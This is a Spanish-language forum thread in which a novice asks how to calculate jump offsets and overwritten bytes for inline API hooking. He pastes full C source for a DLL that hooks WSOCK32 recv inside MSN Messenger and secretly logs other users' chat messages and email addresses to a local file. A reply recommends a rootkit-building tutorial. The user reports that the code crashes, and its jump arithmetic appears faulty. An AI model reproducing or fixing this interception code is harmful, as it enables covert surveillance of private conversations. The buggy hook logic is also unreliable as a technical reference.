Autor
|
Tema: me podeis decir Como calcular salto apihook? (Leído 3,170 veces)
|
SuperNovato
Desconectado
Mensajes: 41
|
Holas toi q practico apihooking, vi unos codes, me podeis decir como calcular : el salto - los bytes a modificar ? estoi viendo con mi debugger : user32.dll, kernel32.dll, wsock32.dll y veo algunas apis tienen mas de 5 bytes a modificar. Estuve intentando hookear el send del wsock32 en el MSN, pero crashea, creo que calcule mal.
|
|
|
En línea
|
|
|
|
Littlehorse
All the world's a stage
Moderador
Desconectado
Mensajes: 2.714
Nie Dam Sie
|
Pon lo que llevas hecho así se ve claramente el error sin necesidad de especular. Lectura recomendada: http://www.codeproject.com/KB/system/hooksys.aspxSaludos
|
|
|
En línea
|
An expert is a man who has made all the mistakes which can be made, in a very narrow field.
|
|
|
fary
|
Tambien te puedes leer el tutorial de EON sobre como crear rootkits, en una parte del tutorial explica perfectamente como averiguarlo.
salu2!
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
SuperNovato
Desconectado
Mensajes: 41
|
encontre este code donde se hookea a recv de "WSOCK32" de mazard: //Interceptación de apis by MazarD (API HOOKING) //Hook a WINSOCK //www.mazard.info #include <windows.h> #include <stdio.h>
//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y //el salto a la api+5 BYTE *Buffer;
struct infoConverses { SOCKET sckMSN; char correu[5000]; }msnFuckit[20];
struct paquetes { SOCKET s; char *buf; int len; int flags; }paquete;
int cntscks=-1;
//Ésta es la dll donde reside la api Recv y Send char Libreria[]="WSOCK32.dll";
char LogMsn[MAX_PATH]="c:\\logmsn.txt";
//El api en qüestión char NomApi[]="recv";
//Variable Booleana Flag bool blockrec=false;
//Funcion a la que llamará el programa principal creiendo que es la api original int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);
void Hookear(void);
void Filtrar(void);
//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);
//La función de reemplazo explicada arriba
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags) {
int res;
res=pBuff(s,buf,len,flags);
paquete.s=s; paquete.buf=buf; paquete.len=len; paquete.flags=flags; Filtrar();
return (res); }
void Hookear(void) { DWORD ProteVieja; BYTE *DirApi; BYTE *DirYo; //Cojemos la dirección de memoria de la api DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);
//Creamos 10bytes de memoria para nuestro Buffer if ((Buffer=(BYTE *)malloc(10))==NULL) return; if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;
//Buffer=(BYTE *)malloc(10);
//Le damos todos los permisos a los 10 bytes de nuestro Buffer //VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
//copiamos los 5 primeros bytes originales de la api antes de machacarlos memcpy(Buffer,DirApi,5); Buffer+=5; //En el sexto introducimos E9 que corresponde a jmp(salto //incondicional) en código máquina para que salte a la api original *Buffer=0xE9; Buffer++;
//A partir del septimo metemos 4 bytes que determinan la distancia del salto //desde el buffer hasta la Dirección de la api+5 *((signed int *) Buffer)=(DirApi+1)-Buffer;
//Asignamos al puntero a funcion pBuff el inicio del Buffer pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);
//Le damos todos los permisos a los 5 primeros bytes de la api original //VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja); if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;
//Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYo=(BYTE *) FuncioRep; //En el inicio de la api metemos un salto incondicional hacia nuestro código //E9=jmp *DirApi=0xE9; DirApi++;
//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta //la función de reemplazo en nuestro código, fijate que en este caso el //resultado tiene que ser negativo, puesto que las apis corren en direcciones //de memória mucho mas altas y el salto deberá ser "hacia atrás" *((signed int *) DirApi)=DirYo-(DirApi+4);
//libermos las librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
void Filtrar(void) { FILE *Archivo; char Escric[1024]; int payl; char cIRO[1024]; char *Ini; char *Ini2; int trobat=0;
if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL) { trobat=0; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini=strchr(Ini,' '); Ini++; Ini2=strchr(Ini,' '); *Ini2=0; strcpy(cIRO,Ini); *Ini2=' ';
for (int j=0;j<=cntscks;j++) { if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j; } if (trobat==0) { cntscks++; msnFuckit[cntscks].sckMSN=paquete.s; strcpy(msnFuckit[cntscks].correu,cIRO); }else msnFuckit[trobat].sckMSN=paquete.s; }
if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL) { Ini=strchr(Ini,'@'); Ini2=Ini; while (*Ini2!=' ') Ini2--; Ini2++; Ini=strchr(Ini2,' '); *Ini=0; strcpy(Escric,Ini2); *Ini=' ';
Archivo=fopen(LogMsn,"a"); fputs("\r\n",Archivo); fputs(Escric,Archivo); fputs(" dice:",Archivo);
Ini2=strchr(Ini,'\r'); Ini=Ini2; while (*Ini!=' ')Ini--; Ini++; *Ini2=0; payl=atoi(Ini); *Ini2='\r'; Ini2+=2; for (int k=0;k<payl;k++) Escric[k]=Ini2[k]; Escric[payl]=0; Ini2=strstr(Escric,"\r\n\r\n"); Ini2+=4;
fputs("\r\n",Archivo); fputs(Ini2,Archivo); fclose(Archivo);
//Archivo=fopen(LogMsn,"a"); //fputs(buf,Archivo); //fclose(Archivo);
}
}
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos if (fdwReason == DLL_PROCESS_ATTACH) {
Hookear();
}
return TRUE; }
lo ejecute y ploffffff el msn explota http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/16/K2s36301.jpgEntonces me puse a modificar un poco ps igual crash¡¡¡, luego lo midifique en vez de "recv" a "send" pa ver q sucedia y crash¡¡. asi que me harte y borre la modificacion, y lei en el tuto de mazard los saltos y los bytes que se deben modificar en la api pa q todo vaya bien, asi que meti la cabeza en el debugger (como dice mazard) y me fije recv: recv: 88FF mov edi,edi 55 push ebp 8BEC mov ebp,esp 51 push ecx 51 push ecx 8B4510 mov eax,[ebp+10h] 8945F8 mov [ebp-08h],eax 8B450C mov eax,[ebp+0Ch]
cogiendo los 5 bytes serian: 88FF558BEC , pero como saber exactamente cuantos bytes se debe cojer si kisiera hookear otra api ? en el anterior por que se cogieron solo los 5 bytes?. Lh: No hagas doble post. Utiliza el botón modificar.En resumen, aki me estanco, me podeis dar una aclaracion de eso? En la api ShowWindow de user32 sale esto: B82B120000 mov eax,0000122Bh BA0003FE7F mov edx,7FFE0300h FF12 call [edx] C20800 retn 0008h
Aqui cuantos bytes se cogeria?
|
|
« Última modificación: 16 Diciembre 2010, 23:58 pm por Littlehorse »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
que me podeis decir del eRize ERZW54-USB04RS800
Materiales y equipos
|
mestisot
|
2
|
4,863
|
21 Diciembre 2009, 21:37 pm
por KARR
|
|
|
[Python]Calcular indice de masa corporal y decir el estado
Scripting
|
word93
|
1
|
11,936
|
28 Agosto 2010, 03:10 am
por Karcrack
|
|
|
que podeis decir de un windows 7 full retail??
Windows
|
DjFaRRa
|
4
|
5,316
|
31 Agosto 2010, 14:52 pm
por DjFaRRa
|
|
|
¿Me podéis decir que os parece esta PC virtual?
Hardware
|
CR0N0S
|
6
|
4,836
|
25 Junio 2016, 00:41 am
por SrNok_
|
|
|
Me podéis decir si es posible guardar carpetas (no en Google Drive) en sitios como terabox etc etc?
Dispositivos Móviles (PDA's, Smartphones, Tablets)
|
Terminator5
|
1
|
2,109
|
30 Mayo 2022, 18:21 pm
por Machacador
|
|